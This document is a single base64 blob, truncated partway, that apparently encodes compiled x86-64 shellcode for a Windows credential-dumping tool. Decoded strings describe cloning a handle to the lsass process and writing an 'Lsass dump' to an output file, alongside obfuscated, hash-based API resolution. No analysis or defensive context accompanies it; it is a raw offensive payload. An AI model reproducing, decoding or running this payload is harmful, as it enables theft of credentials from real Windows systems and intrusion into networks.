QUFBUCtXb0FBQUFFaUpkQ1FnVElucVNZbnBTSXVNSk5nQkFBQkJ1QWdBQUFCRk1lM29xQU1BQUl1RUpPQUJBQUJGTWNsRk1jQklpNHdrMkFFQUFJMVFDSW1VSk9BQkFBRC9scUFBQUFCSWlYUWtJRW1KNlVpTGpDVFlBUUFBU0kyVUpQZ0FBQUJCdUFnQUFBRG9ZQU1BQUl1RUpPQUJBQUNOZUFpTGhDUUFBZ0FBaVh3a1BFR0p4a0hCNWdSQkFmNUVpYlFrNEFFQUFJWEFENFNnQVFBQVJJbHNKREJJaTN3a1VBOGZnQUFBQUFCRWkzd2tNRVV4eVVVeHdFVXg3VWlMaENUNEFRQUFTSXVNSk5nQkFBQkp3ZWNFVEFINFNJc1FTSXRBQ0VpSmxDUWdBUUFBVElueVNJbUVKQ2dCQUFEL2x1QUFBQUJJaTRRaytBRUFBRXdCK0VpTFdBaEloZHQxSnVuU0FBQUFacEJJaTRRaytBRUFBRW1CeFFBRUFBQk1BZmhJaTFnSVREbnJENGF4QUFBQVNZblpSQ25yVFNucFNZSDUvd01BQUhZTFFia0FCQUFBdXdBRUFBQklpeEJNaVdRa0lFbUo2RWlMakNTZ0FRQUFTTWVFSkxBQUFBQUFBQUFBVEFIcTZEM3ovLytGd0hXWlNJbDBKQ0JKaWZsQmlkaElpZXBJaTR3azJBRUFBT2crQWdBQTZYbi8vLzltRHgrRUFBQUFBQUJJQWNJNVNsQVBoTUgxLy8rTEFvWEFkZTVJaTc2UUFBQUEvNWFJQUFBQVNZbllNZEpJaWNILzF6SEFTSUhFR0FZQUFGdGVYMTFCWEVGZFFWNUJYOE9RaTF3a1BFaUxqQ1RZQVFBQVJUSEpSVEhBVEFPMEpDZ0JBQUNKMm9QREVQK1dvQUFBQUVpSmRDUWdTSXRVSkVCTmllRklpNHdrMkFFQUFFRzRFQUFBQU9pckFRQUFnMFFrTUFHTFJDUXdpVndrUER1RUpBQUNBQUFQZ25IKy8vK0xSQ1JnU0l1TUpOZ0JBQUJGTWNsRk1jQ0poQ1NvQUFBQWk0UWszQUFBQUkxUUdQK1dvQUFBQUVpSmRDUWdTSXRVSkVoSmllbElpNHdrMkFFQUFFRzREQUFBQU9oSUFRQUFpNFFrM0FBQUFFVXh5VVV4d0VpTGpDVFlBUUFBalZBay81YWdBQUFBU0lsMEpDQklpNHdrMkFFQUFFbUo2VWlObENTWUFBQUFRYmdNQUFBQTZBY0JBQUJJaTd3azZBRUFBRWlMbnBBQUFBRC9sb2dBQUFBeDBrbUorRWlKd2YvVFNJdThKUGdCQUFCSWk1NlFBQUFBLzVhSUFBQUFNZEpKaWZoSWljSC8wMGlMdkNUQUFRQUFTSXVla0FBQUFQK1dpQUFBQURIU1NZbjRTSW5CLzlOSWk3d2tzQUVBQUVpTG5wQUFBQUQvbG9nQUFBQXgwa2lKd1VtSitQL1R1QUVBQUFEcGZQNy8vMHlKOGVrMy9QLy9USXUrZ0FBQUFNZUVKQVFDQUFBZ0FBQUEvNWFJQUFBQVFiZ0FBZ0FBTWRKSWljRkIvOWRKaWNkSWlZUWsrQUVBQUUyRi93K0Y3dnYvLzBqSGhDUUFBZ0FBQUFBQUFFeUx0Q1FvQWdBQTZRNzcvLytMUkNSZ3gwUWtaQVFBQUFESGhDU0VBQUFBQUFBQUFJUEFCSW1FSk9BQkFBRHBZUHIvLzBGV1RZbk9RVlZKaWMxQlZGVlhTSW5YVmxORWljTklnK3d3VEl1a0pKQUFBQUJKaTdRa2dBQUFBRUgvbENTSUFBQUFNZEpKaWRoSWljSC8xa2lGd0ErRWd3QUFBRWlKM1VpSnhvWGJkQzB4d0E4ZmdBQUFBQUFQdGhRSGlCUUdTSVBBQVVnNXczWHdTSW53U0FIelpwQ0FNRUZJZzhBQlNEbkRkZlJCaWVoSWlmSk1pZWxOaWZGSXgwUWtJQUFBQUFCQi8xUWtlRW1MbkNTUUFBQUFRZitVSklnQUFBQklnOFF3U1lud01kSklpY0ZJaWRoYlhsOWRRVnhCWFVGZS8rQVBINEFBQUFBQVNJUEVNRnRlWDExQlhFRmRRVjdEa0pDUWtKQ1FrSkNRUVZjeHdFRldRVlZCVkZWWFZraUp6cmtlQUFBQVUwaUI3RmdIQUFCSWpid2tRQUVBQUV5SmhDU3dCd0FBODBpcnVSNEFBQUJJeDBRa1lBQUFBQUJJeDBRa2FBQUFBQURIaENTd0FBQUFNQUFBQUVqSGhDUzRBQUFBQUFBQUFNZUVKTWdBQUFBQUFBQUFTTWVFSk1BQUFBQUFBQUFBeHdjQUFBQUFTSTI4SkZBQ0FBRHpTS3RJdUZBQWNnQnZBR01BU01lRUpOQUFBQUFBQUFBQVNJbUVKSUFBQUFCSXVHVUFjd0J6QUFBQVNJbUVKSWdBQUFDNGN3QUFBRWpIaENUWUFBQUFBQUFBQUVqSFJDUndBQUFBQUVqSFJDUjRBQUFBQUVqSGhDUXdBUUFBQUFBQUFFakhoQ1E0QVFBQUFBQUFBRWpIaENSQUFnQUFBQUFBQUVqSGhDUklBZ0FBQUFBQUFNY0hBQUFBQU1kRUpGcHNjMkZ6Wm9sRUpGNkxEb1hKRDRTVkF3QUFpZFZOaWN3eDIwVXgvMFV4OXVzT0R4OEFnOE1CT1I0UGhqMERBQUNKMzRYdGRBcElqUVIvT1d6R0NIWGxTSTBFZjR0RXhoZzlBQUFRQUErVndUMkpBUklBRDVYQ2hORjB5U1gvLy9mL1BaOEJFZ0IwdlUyRjluUVFRYmdBZ0FBQU1kSk1pZkZCLzFRa09FaU5CSDlJalV3a2FMcEFCQUFBU01kRUpIZ0FBQUFBVEkwc3hreU5UQ1J3UVl0RkNFeU5oQ1N3QUFBQVNJbEVKSERvUE9mLy8wRVB0MVVPeDBRa01BQUFBQUJNalV3a1lNZEVKQ2dBQUFBQVNJdE1KR2hKeDhELy8vLy94MFFrSUJBRUFBRG9QZVQvLzBHNUJBQUFBRUc0QUJBQUFESEp1Z0FRQUFCQi8xUWtTRW1KeGtpRndBK0VHLy8vLzBpTFRDUmdRYmtBRUFBQVNZbkF1Z0lBQUFCSXgwUWtJQUFBQUFEbzl1ci8vNFhBRDRqeS92Ly9TWXRPQ0VpTmxDU0FBQUFBUWY5VUpGQ0Z3QStGMmY3Ly8waU52Q1F3QVFBQU1kSklpMHdrWUVHNUJBRUFBRW1KK0VIL1ZDUmdoY0FQaExUKy8vOUlqWVFrUUFJQUFFaUxUQ1JvUWJnRUFRQUFTSWxFSkVoSWljSkIvMVFrYUlYQUQ0U00vdi8vU0kxVUpGcElpZmxCLzFRa1dFaUZ3QStFZHY3Ly8wSDNSUmdRQkFBQUQ0Um8vdi8vU0l0TUpFaElqYndrWUFNQUFFeU52Q1JRQlFBQVFmOVVKSEM1UGdBQUFFeUxSQ1J3U0xwa0lHRnVaQ0J6ZFVtSndVaTRXeXRkSUVadmRXNUlpWlFrNkFBQUFFaTZiSGtnWTJ4dmJtVklpWVFrNEFBQUFFaTRZMk5sYzNObWRXeElpWVFrOEFBQUFFaTRaQ0JvWVc1a2JHVklpWVFrQUFFQUFFaTRJR3h6WVhOeklHbElpWVFrRUFFQUFFaTRDVnNyWFNCSVlXNUlpWVFra0FBQUFFaTRkSE02SUNWNENnQklpWVFrb0FBQUFESEE4MGlyU0ltVUpQZ0FBQUJJamJ3a1lBVUFBRWk2SUNnbFpDa2dkRys1UGdBQUFFaUpsQ1FJQVFBQVNMcHVPaUFsY3lBb0pmTklxMGlKbENRWUFRQUFTSTI4SkZBREFBQkl1bVJzWlNCU2FXZG9TSW1VSkpnQUFBQklpZmxJalpRazRBQUFBRXlKUkNRZ3g0UWtJQUVBQUdRcENnQkl4NFFrVUFNQUFBQUFBQUJJeDRRa1dBTUFBQUFBQUFCSXg0UWtVQVVBQUFBQUFBQkl4NFFrV0FVQUFBQUFBQUJCLzFRa0dFV0xSUmhNaWZsSWpaUWtrQUFBQUVIL1ZDUVlTSXVNSkxBSEFBQklpZnBCLzFRa0NFeUora2lMakNTd0J3QUFRZjlVSkFoTWkzd2tZSVh0ZFZsTWlmbUR3d0ZCLzFRa0tEa2VENGZKL1AvL1pnOGZSQUFBU0l0TUpHaEloY2wwQlVIL1ZDUW9UWVgyZEJCQnVBQ0FBQUF4MGt5SjhVSC9WQ1E0U0lIRVdBY0FBRXlKK0Z0ZVgxMUJYRUZkUVY1Qlg4TkZNZi9yNUVpTFRDUm9TSVhKZGNEcnlKQ1FrSkJCVjBtSjEwRldUWW5HUVZWQmljMU1pY2xCVkZOTWljdElnZXl3QUFBQTZPd0xBQUJJaGNBUGhGTUJBQUJFaWVwSmlkbE5pZmhJaWNGSmljVG83L3IvLzBtSnhVaUZ3QStFa3dJQUFFaTRXeXBkSUU1dmR5Qk1pZm5HUkNSaUFFaTZkSEo1YVc1bklIUklpVVFrUUVpNGJ5QmtkVzF3SUd4SWlWUWtTRWk2YzJGemN5QXVMaTVJaVVRa1VMZ2dDZ0FBU0lsVUpGaElqVlFrUUdhSlJDUmcvMU1JVElueFJUSEpSVEhBU01kRUpEQUFBQUFBdWdBQUFFREhSQ1FvZ0FBQUFNZEVKQ0FDQUFBQS8xTWdTWW5HU0lQNC93K0VGZ0VBQUV5SjZmOVRNRW1KMlUySjhFeUo2WW5DNkxEci8vK0Z3QStFZUFFQUFFaTRXeXRkSUV4ellYTk1pZmxJdW5NZ1pIVnRjQ0JweDRRa2lBQUFBSFJsQ2dCSWlVUWtjRUcvQVFBQUFFaTRjeUJqYjIxd2JHVklpVlFrZUVpTlZDUndTSW1FSklBQUFBRC9Vd2hOaGZaMEJreUo4ZjlUS0V5SjZmOVRLRUc0QUlBQUFESFNUSW5oLzFNNFNJSEVzQUFBQUVTSitGdEJYRUZkUVY1Qlg4Tm1EeCtFQUFBQUFBQkl1RnN0WFNCR1lXbHNUSW41U0xwbFpDQjBieUJuWmNlRUpKQUFBQUJzWlhNS1NJbEVKSEJGTWY5SXVIUWdZU0JzYVhOMFNJbFVKSGhJdWlCdlppQm9ZVzVrU0ltVUpJZ0FBQUJJalZRa2NFaUpoQ1NBQUFBQXhvUWtsQUFBQUFEL1V3anBlLy8vL3c4ZmhBQUFBQUFBU0xoYkxWMGdRMjkxYkV5SitVaTZaQ0J1YjNRZ2QzTEhoQ1NZQUFBQWFXeGxDa2lKUkNSd1JUSC9TTGhwZEdVZ2RHOGdjMGlKVkNSNFNMcHdaV05wWm1sbFpFaUpoQ1NBQUFBQVNMZ2diM1YwY0hWMFpraUpsQ1NJQUFBQVNJMVVKSEJJaVlRa2tBQUFBTWFFSkp3QUFBQUEvMU1JNmQvKy8vOW1EeDlFQUFCSXVGc3RYU0JUYjIxbFRJbjVSVEgvU0xwMGFHbHVaeUIzWlVpSlJDUndTTGh1ZENCM2NtOXVaMGlKVkNSNFNMb2dkMmhwYkdVZ1pFaUpoQ1NBQUFBQVNMaDFiWEJwYm1jS0FFaUpsQ1NJQUFBQVNJMVVKSEJJaVlRa2tBQUFBUDlUQ09sdC92Ly9aZzhmaEFBQUFBQUFTTGhiTFYwZ1EyOTFiRXlKK1VpNlpDQnViM1FnWm1uSGhDU2dBQUFBYVdRS0FFaUpSQ1J3UlRIL1NMaHVaQ0JoY0hCeWIwaUpWQ1I0U0xwd2NtbGhkR1VnYUVpSmhDU0FBQUFBU0xoaGJtUnNaU0JwYmtpSmxDU0lBQUFBU0xvZ1oybDJaVzRnY0VpSmxDU1lBQUFBU0kxVUpIQklpWVFra0FBQUFQOVRDT254L2YvL2tKQ1FrSkNRa0pDUWtKQ1FRVmU0cUJVQUFFRldRVlZCVkZWWFZsUG9hdHovLzBHNEFCQUFBRWdweEVtSnpESEF1UUFDQUFCSWpid2tvQVVBQUVpTm5DU2dBUUFBU0luVlNNZEVKSEFBQUFBQTgwaXJ1VUFBQUFCSWlkOU1qYlFrb0FNQUFQTklxMHlKOTdsQUFBQUFTSTIwSktBRkFBRHpTS3RNalV3a1pFaUo4a21MVENRUVNNZEVKSGdBQUFBQVNNZUVKSUFBQUFBQUFBQUF4MFFrWkFBQUFBRC9sUkFCQUFDTFJDUmtTSTJNSkpBQUFBQklpVXdrT01Ib0E0bEVKR1FQaElJQkFBQk1qWHdrY0RIL1RJbjRUWW4zU1luR0R4OUFBRW1MVENRUVNJc1dRYmtZQUFBQVRZbncvNVVZQVFBQWhjQVBoRDRCQUFCSmkwd2tFRWlMRmtHNUFBRUFBRW1KMlArVklBRUFBSVhBRDRRZkFRQUFTTGd1QUhNQWJ3QUFBRWlKMmNlRUpKZ0FBQUErQUFBQVNJbEVKR2hJdUR3QVpRQnNBR1lBU0ltRUpKQUFBQUQvbGNnQUFBQkltRXlOREVOSmpWSCtTRG5hY3gvcHZnSUFBR1lQSDRRQUFBQUFBSVA0TDNRVVNJMUMva2c1MkhJUFNJbkNEN2NDZy9oY2RlZElnOElDU1NuUnVmOEFBQUJCdVA4QUFBQk5pYzFNaVV3a0tFblIvVW1CK2Y4QkFBQk1EMGZwVEluNVM0MUVMUUJJaVVRa1FFd0IrRWlKUkNRdy8xVUFTSXRFSkRCTWkwd2tLREhKWm9rSVNZUDVDQStIaGdBQUFFbUQrUVlQaDVVQUFBQk1pZnJyQ3c4ZmdBQUFBQUJJZzhJQ0Q3Y0NSSTFBdjQxSUlHWkJnL2dhRDBMQlpva0Nab1hBZGVKTWkyd2tjSXRFSkhoSmkwd2tFRXlMUkNRNFRJbnFpVVFrS09nTERRQUFoY0FQaFpNQUFBQ0R4d0ZJZzhZSU9Yd2taQStIa3Y3Ly8waUJ4S2dWQUFCYlhsOWRRVnhCWFVGZVFWL0RaZzhmUkFBQVNZbm9USW5xVEluNTZOb0pBQUJJbUVpRndBK0ZQd0VBQUVpTFJDUkFTSTFVSkdoSmpVd0grditWS0FFQUFJWEFENFZPLy8vL1NZMVYvVW1KNkV5SitlaWpDUUFBU0poSWhjQVBoRFQvLy85SktjVklpMVFrT0V1TlRHLzYvNVVBQVFBQTZSei8vLytMaENUb0FBQUFUWXRFSkRDSlJDUXdpNFFrbUFBQUFJbEVKRUJOaGNBUGhPUUFBQUJCaTBRa09FR0xWQ1E4T2RCeVZVeUxuWmdBQUFBQjBreUpSQ1JZUVlsVUpEeUpWQ1JVVElsY0pFai9sWWdBQUFDTFZDUlVUSXRFSkZoTWkxd2tTRWlKd1V4cHlpZ0NBQUF4MGtILzAwbUp3RW1KUkNRd1RZWEFENFRGQUFBQVFZdEVKRGhJYWNBb0FnQUFTWXRNSkJCTWllcEJ1UVFCQUFCTmpVUUFIUCtWQ0FFQUFFR0xSQ1E0aTB3a0tFaUp3a2hwd0NnQ0FBQkpBMFFrTUlsSUVJdE1KRUNEd2dGTWlXZ0lpVWdVaTB3a01NY0FBQUFBQUlsSUdFR0pWQ1E0NlliKy8vOW1EeCtFQUFBQUFBQkpLY1V4MG1aQ2laUnNvQU1BQU9rWi92Ly9EeDlFQUFCQngwUWtQQ0FBQUFCTWk0MkFBQUFBVElsTUpFai9sWWdBQUFCQnVBQkZBQUJNaTB3a1NESFNTSW5CUWYvUlNZbkFTWWxFSkRCTmhjQVBoVHYvLy85SngwUWtPQUFBQUFEcEdQNy8vMEc0L3dBQUFFeUp5a3lKK2Y5VkFESEFab21FSktBREFBRHBxZjMvLzVDUWtKQ1FrSkNRa0pDUWtKQkJWYnA4WWZST1FWUkppY3k1WTlkUDVsZElnZXhRQWdBQTZJSUNBQUJJaGNBUGhIc0JBQUJKaWNDNExnQUFBRWlOZkNSQXVSNEFBQUJtaVVRa0xqSEFRUSsyRkNUelNLdTVIZ0FBQUVqSFJDUXdBQUFBQUVqSFJDUTRBQUFBQUVqSGhDUkFBUUFBQUFBQUFFakhoQ1JJQVFBQUFBQUFBTWNIQUFBQUFFaU52Q1JRQVFBQTgwaXJ4d2NBQUFBQWhOSjBHbVlQSDBRQUFBKzJ5RWlEd0FHSVZBd3dRUSsyRkFTRTBuWHNUSTFrSkRCSWpWUWtMa3lKNFVILzBFbUp3RWlGd0ErRTJnQUFBQSsyVUFIR0FBQ0UwZytFQ1FFQUFESEFEeCtBQUFBQUFBKzJ5RWlEd0FHSWxBeEFBUUFBUVErMlZBQUJoTkoxNkErMmhDUkFBUUFBaE1BUGhOZ0FBQUJNallRa1FRRUFBTGtGRlFBQUR4OEFpY3BKZzhBQndlSUZBZEFCd1VFUHRrRC9oTUIxNm9IeFJFTkNRVUdKelErMlJDUXdoTUFQaEtjQUFBQk1qVVFrTWJrRkZRQUFacENKeWttRHdBSEI0Z1VCMEFIQlFRKzJRUCtFd0hYcWdmRkVRMEpCNkk4QUFBQklpY0ZJaGNCMEYwU0o2dWl2Q0FBQVNJSEVVQUlBQUY5QlhFRmR3MmFRdVRHdEFqSG9aZ0FBQUVpSndVaUZ3SFVXTWNCSWdjUlFBZ0FBWDBGY1FWM0REeCtBQUFBQUFMcS9zLzBlNkc0SUFBQkloY0IwMjB5SjRmL1FTSW5CU0lYQWRhVXh3T3ZNRHgrRUFBQUFBQUJCdlVGV1FrSHBUUC8vLzdsQlZrSkI2WGYvLy8rUWtKQ1FrSkNRa0pDUWtHVklpd1FsWUFBQUFFaUxRQmlCOFVSRFFrRkJpY3BNaTFnZ1RZblpEeDhBU1l0SlVFaUZ5WFJqRDdjQlpvWEFkRjlJaWNvUEgwQUFSSTFBdjJaQmcvZ1pkd2FEd0NCbWlRSVB0MElDU0lQQ0FtYUZ3SFhpRDdjQlpvWEFkREpCdUFVVkFBQVBIMEFBUkluQ1NJUEJBc0hpQlFIUVFRSEFEN2NCWm9YQWRlbEZPY0owRjAyTENVMDV5M1dVTWNERGtFRzRCUlVBQUVVNXduWHBTWXRCSU1OQlZFR0oxRk9KeTBpRDdGam9ULy8vLzBpRndIVWl1VEd0QWpIb1FQLy8vMGlKd1VpRndIVW9TSVBFV0RIQVcwRmN3MllQSDBRQUFFaUR4RmhFaWVKSWljRmJRVnpwUmdjQUFHWVBIMFFBQUxxL3MvMGU2RFlIQUFCSWhjQjB5WUg3bCt4Ym1BK0VoUUFBQUlIN0RjbGlKZytFNlFBQUFJSDdZOWRQNWcrRXRRQUFBSUg3aUNiNEFBK0VBUUVBQUlIN3V3N085WFdSU0xwQmNHa3RiWE10ZDhaRUpFSUFTTGxwYmkxamIzSmxMVWlKVkNRZ1NMcDJaWEp6YVc5dUxVaUpUQ1FvU0xsc01TMHhMVEF1WkVpSlZDUXd1bXhzQUFCSWlVd2tPRWlOVENRZ1pvbFVKRUQvMEVpSndlc3NacEJCdUd4c0FBQklqVXdrSU1aRUpDb0FTTHRWYzJWeU16SXVaRWlKWENRZ1prU0pSQ1FvLzlCSWljRkloY2tQaEFYLy8vOUlnOFJZUkluaVcwRmM2VjRHQUFCbUR4OUVBQUJJdTFOb2JIZGhjR2t1U0kxTUpDREhSQ1FvWkd4c0FFaUpYQ1FnLzlCSWljSHJ2dzhmUkFBQVNMdEJaSFpoY0drek1raU5UQ1FneGtRa0xBQklpVndrSU1kRUpDZ3VaR3hzLzlCSWljSHJrZzhmaEFBQUFBQUFTTHRRYzJGd2FTNWtiTGxzQUFBQVpvbE1KQ2hJalV3a0lFaUpYQ1FnLzlCSWljSHBZdi8vLzVDUWtKQ1FrSkNRUVZSRk1jQkZNZVJXVTBpSnkwaUQ3RERIUkNRc0FBQUFBRWlOZENRc1NZbnhUSW5pdVJBQUFBRG9qTjMvLzRYQWVRbzlCQUFBd0hRWFJUSGtTSVBFTUV5SjRGdGVRVnpERHgrRUFBQUFBQUJOaGVSMERrRzRBSUFBQURIU1RJbmgvMU00UWJnQUVBQUFpMVFrTEVHNUJBQUFBREhKLzFOSVJJdEVKQ3hKaWNUcm5KQ1FrSkNRa0pDUWtKQ1FrSkNRUVZkQlZrV0p4a0ZWVFluTlFWUlZNZTFYU0lub1Zvbk91U2NBQUFCVFNJblRTSUhzeUFVQUFFaU52Q1NBQUFBQVRJMjhKSUFBQUFEelNLdE1pZm5vN1FZQUFFR0p4SVhBZFI1SWdjVElCUUFBUkluZ1cxNWZYVUZjUVYxQlhrRmZ3dzhmZ0FBQUFBQk1pZm5vQUEwQUFFR0p4SVhBRDRRZEFnQUFoZllQaE1VQUFBQkl1RnNxWFNCRGFHVmpUSW5wU0xwcmFXNW5JR1p2Y3NhRUpBQUVBQUFBU0ltRUpNQURBQUJCdkFFQUFBQkl1Q0J3Y205alpYTnpTSW1VSk1nREFBQkl1bVZ6SUhkcGRHZ2dTSW1FSk5BREFBQkl1R0VnYzNWcGRHRmlTSW1VSk5nREFBQkl1bXhsSUdoaGJtUnNTSW1FSk9BREFBQkl1R1VnZEc4Z2JITmhTSW1VSk9nREFBQkl1bk56SUM0dUxpQUtTSW1VSlBnREFBQklqWlFrd0FNQUFFaUpoQ1R3QXdBQS81UWtpQUFBQUV5SitreUo2ZWhDQlFBQTZRZi8vLzhQSDBRQUFFaU52Q1RRQVFBQXVUNEFBQUJGaWZER1JDUnlBRWk0V3lwZElFRjBkR1ZJdW0xd2RHbHVaeUIwU01lRUpNQURBQUFBQUFBQVRJMmtKTUFEQUFCSWlVUWtRRWlOdENUQUFRQUFTTGh2SUdOc2IyNWxJRWlKUkNSUVNMaHVaR3hsSUdaeWIwaUpSQ1JndUdRS0FBQm1pVVFrY0VpNFd5cGRJRTkxZEdaSWlVUWtJRWlKNlBOSXEwaUpWQ1JJdVQ0QUFBQkl1bXh6WVhOeklHaGhTSTI4Sk5BREFBQklpVlFrV0VpNmJTQndhV1E2SUNWSXg0UWt5QU1BQUFBQUFBRHpTS3RJaWZGSWlWUWthRWk2YVd4bE9pQWxjd3BJaVZRa0tFaU5WQ1JBeGtRa01BQkl4NFFrd0FFQUFBQUFBQUJJeDRRa3lBRUFBQUFBQUFEL2xDU1lBQUFBU1luWVRJbmhTSTFVSkNEL2xDU1lBQUFBU0lueVRJbnAvNVFraUFBQUFFeUo0a3lKNlVHOEFRQUFBUCtVSklnQUFBQk5pZmxKaWRoTWllcEVpZkhvMVBELy8rbTUvZi8vRHgrQUFBQUFBRWk2WkNCdWIzUWdaVzVNaWVsSXVGc3RYU0JEYjNWc3g0UWs0QU1BQUd4bFoyVklpWlFreUFNQUFFaTZkV2NnY0hKcGRtbElpWVFrd0FNQUFFaTRZV0pzWlNCRVpXSklpWlFrMkFNQUFMb0tBQUFBWm9tVUpPUURBQUJJalpRa3dBTUFBRWlKaENUUUF3QUEvNVFraUFBQUFPazcvZi8va0VGVlJUSEpSVEhTU0xndUFHRUFZd0J0QUVGVVZWZElpYzh4eVZaSWlkWXgwbE5NaWNORk1jQklnZXlvQUFBQVNJbEVKQ1F4d0V5TlpDUWtTSTFzSkdCbWlVUWtMRWk0TGdCa0FHd0FiQUJJaVVRa0xraTRMZ0JrQUhJQWRnQklpVVFrT0VpNExnQmxBSGdBWlFCSWlVUWtRa2k0TGdCdkFHTUFlQUJJaVVRa1RFaTRMZ0IyQUhnQVpBQklpVVFrVmtpTlJDUXVTSWxFSkdoSWpVUWtPRWlKUkNSd1NJMUVKRUpJaVVRa2VFaU5SQ1JNU0ltRUpJQUFBQUJJalVRa1ZtYUpWQ1EyWm9sTUpFQm1SSWxFSkVwbVJJbE1KRlJtUklsVUpGNU1pV1FrWUVpSmhDU0lBQUFBU01lRUpKQUFBQUFBQUFBQVRJbmgvNVBJQUFBQVFZbkZTSmhJT2ZCelBVaUo4a2dwd2tpTkRGZE1pZUwva3lnQkFBQ0Z3SFVaU0lIRXFBQUFBRVNKNkZ0ZVgxMUJYRUZkdzJZUEgwUUFBRXlMWlFoSWc4VUlUWVhrZGJCRk1lM3IxWkNRa0pDUWtFRldRVlZCVkVtSjFGVkVpY1ZYUkluUFZraUp6bE5JZyt3Z1NJdFpXRWlMaENTQUFBQUFTSVhiZEcyTFVXQkVpMGxrUkRuS2NqWkhqU3dKVEl1d21BQUFBRVNKYVdUL2tJZ0FBQUJGaWVsSmlkZ3gwa2lKd1VuQjRRUkIvOVpJaWNOSWlVWllTSVhiZEZ1TFZtQkJpZENEd2dGSndlQUVUQUhEVElramlXc0lpWHNNaVZaZ1NJUEVJRnRlWDExQlhFRmRRVjdERHg4QVNJdVlnQUFBQU1kQlpDQUFBQUQva0lnQUFBQkJ1QUFDQUFBeDBraUp3Zi9UU0luRFNJbEdXRWlGMjNXbFNNZEdZQUFBQUFCSWc4UWdXMTVmWFVGY1FWMUJYc09Ra0pDUVZWZFdVMGhqYVR4SUFjMkx2WWdBQUFCSUFjOUVpMDhnaTNjWVNRSEpoZlowVm9uVFNZbkxSVEhTZ2ZORVEwSkJRWXNCdVFVVkFBQk1BZGhNalVBQkQ3WUFoTUIwSVdZdUR4K0VBQUFBQUFDSnlzSGlCUUhRQWNGTWljQkpnOEFCRDdZQWhNQjE2VG5aZEJSSmc4SUJTWVBCQkV3NTFuVzRNY0JiWGw5ZHc0dFhKRXVOREZPTFJ4d1B0eFFSU1kwVWs0c0VBa3dCMkVnNXgzZmVpNVdNQUFBQVNBSFhTRG40ZDlCYlNJbkJYbDlkNlJyMS8vK1FrSkNRa0pDUWtKQ1FRVlJCdVVBQUFBQkppY3hYVmt5SnhsTklpZE5JZyt4NFNNZEVKQ0FBQUFBQVRJMUVKRERvWmRqLy8waGpWQ1JzU1lud1RJbmhTTWRFSkNBQUFBQUFRYmtJQVFBQWljZElBZHJvUWRqLy8yYUJmQ1F3VFZwMUJBbkhkQlF4d0VpRHhIaGJYbDlCWE1NUEg0UUFBQUFBQURIQWdUNVFSUUFBRDVUQTYrR1FrSkJCVlVtSnpVaUowVUZVVTBpSjAwaUQ3RkRvMmZqLy8waUZ3SFEwU1luRVNZblpUWW5vTWRKSWljSG80ZWYvLzB5SjRVRzRBSUFBQURIUy8xTTRTSVBFVUxnQkFBQUFXMEZjUVYzRER4OUFBRWk0V3kxZElFWmhhV3pIUkNSQWJHVnpDa3lKNlVpNlpXUWdkRzhnWjJWSWlVUWtJRWk0ZENCaElHeHBjM1JJaVZRa0tFaTZJRzltSUdoaGJtUklpVlFrT0VpTlZDUWdTSWxFSkRER1JDUkVBUDlUQ0VpRHhGQXh3RnRCWEVGZHcxTzZ6OC9ZRkVpSnk3a3hyUUl4U0lQc0lPaHA5di8vdWlmby9aTzVNYTBDTVVpSkEraFg5di8vdWs3b2hwTzVNYTBDTVVpSlF3am9SUGIvLzdxSCs5cTV1WmZzVzVoSWlVTVE2REgyLy8rNnZvYlVxcmt4clFJeFNJbERHT2dlOXYvL3VrT0pNbm01TWEwQ01VaUpReURvQy9iLy83cTFoTVFJdVRHdEFqRklpVU1vNlBqMS8vKzZhb3pOSjdreHJRSXhTSWxETU9qbDlmLy91dE5NYm5tNU1hMENNVWlKUXpqbzB2WC8vN3B4ZmU5T3VXUFhUK1pJaVVOSTZMLzEvLys2ZkdIMFRybGoxMC9tU0lsRFVPaXM5Zi8vdWc0S0pLVzVNYTBDTVVpSlExam9tZlgvLzdvdHh4RmZ1VEd0QWpGSWlVTmc2SWIxLy8rNk1SL1pucmxqMTAvbVNJbERhT2h6OWYvL3V2U3ZmaWU1TWEwQ01VaUpRM0RvWVBYLy83cEtKTDlldVRHdEFqRklpVU40NkUzMS8vKzZSazRhaDdreHJRSXhTSW1EZ0FBQUFPZzM5Zi8vdW9IUUNuYTVNYTBDTVVpSmc0Z0FBQURvSWZYLy83cGhnbk5mdVRHdEFqRklpWU9RQUFBQTZBdjEvLys2dGlpdEVya3hyUUl4U0ltRG1BQUFBT2oxOVAvL3VyK3ovUjY1TWEwQ01VaUpnNkFBQUFEbzMvVC8vN3F5ckVyQ3VUR3RBakZJaVlPb0FBQUE2TW4wLy8rNmVJMnNjYmt4clFJeFNJbURzQUFBQU9pejlQLy91a29jQ0lPNU1hMENNVWlKZzdnQUFBRG9uZlQvLzdwazZJYVR1VEd0QWpGSWlZUEFBQUFBNklmMC8vKzZXL2h6anJreHJRSXhTSW1EeUFBQUFPaHg5UC8vdXR1bzBaYTVNYTBDTVVpSmc5QUFBQURvVy9ULy83cUxlamhNdVRHdEFqRklpWVBZQUFBQTZFWDAvLys2elFWQlVMbTdEczcxU0ltRDRBQUFBT2d2OVAvL3VpcTZOcFM1dXc3TzlVaUpnK2dBQUFEb0dmVC8vN29ZMnljNXVic096dlZJaVlQd0FBQUE2QVAwLy8rNnFhajlrN2t4clFJeFNJbUQrQUFBQU9qdDgvLy91aVFLSktXNU1hMENNVWlKZ3dBQkFBRG8xL1AvLzdyVzNKemt1VEd0QWpGSWlZTUlBUUFBNk1Iei8vKzZ0VVQxdDdreHJRSXhTSW1ERUFFQUFPaXI4Ly8vdXRxY3pidTVNYTBDTVVpSmd4Z0JBQURvbGZQLy83cXZudjJUdVRHdEFqRklpWU1nQVFBQTZIL3ovLys2UlozOWs3a3hyUUl4U0lsRFFPaHM4Ly8vdXNBdDdQcTVEY2xpSmtpSmd5Z0JBQURvVnZQLy8waUR1eEFCQUFBQVNJbURNQUVBQUErRUVRSUFBRWlEdXhnQkFBQUFENFFyQWdBQVNJTzdJQUVBQUFBUGhFVUNBQUJJZzN0Z0FBK0VZZ0lBQUVpRGUyZ0FENFIvQWdBQVNJTzdDQUVBQUFBUGhKa0NBQUJJZzNzSUFBK0V2Z0VBQUVpRGV4QUFENFN6QVFBQVNJTjdHQUFQaEtnQkFBQklnM3NnQUErRW5RRUFBRWlEZXlnQUQ0U1NBUUFBU0lON01BQVBoSWNCQUFCSWczczRBQStFZkFFQUFFaURlMGdBRDRSeEFRQUFTSU43VUFBUGhHWUJBQUJJZzN0WUFBK0VXd0VBQUVpRGUyQUFENFJRQVFBQVNJTjdhQUFQaEVVQkFBQklnM3R3QUErRU9nRUFBRWlEZTNnQUQ0UXZBUUFBU0lPN2dBQUFBQUFQaENFQkFBQklnN3VJQUFBQUFBK0VFd0VBQUVpRHU1QUFBQUF